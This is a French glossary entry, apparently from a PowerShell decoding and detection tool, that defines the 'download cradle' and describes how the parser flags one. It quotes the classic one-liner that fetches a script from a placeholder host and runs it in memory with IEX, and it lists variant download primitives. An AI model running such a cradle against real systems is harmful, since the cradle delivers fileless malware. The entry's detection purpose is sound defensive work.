Skip to content

Glossaire

Cradle de téléchargement (download cradle)

Court extrait PowerShell qui récupère du code depuis une URL distante et l'exécute en mémoire, sans écrire de fichier sur le disque.

Un cradle de téléchargement est une ligne unique qui récupère un script distant et l'exécute en mémoire, évitant tout fichier sur le disque. La forme classique est IEX (New-Object Net.WebClient).DownloadString('http://host/a.ps1'), mais il existe de nombreuses variantes utilisant Invoke-WebRequest/iwr, Invoke-RestMethod/irm, Start-BitsTransfer, Net.Http.HttpClient ou des objets COM comme MSXML2.XMLHTTP.

La signature est une primitive de téléchargement associée à une primitive d'exécution telle que Invoke-Expression. Ce parseur signale cette association et extrait l'URL et toute IP sous forme de chaînes inertes. Voir décodage et détections.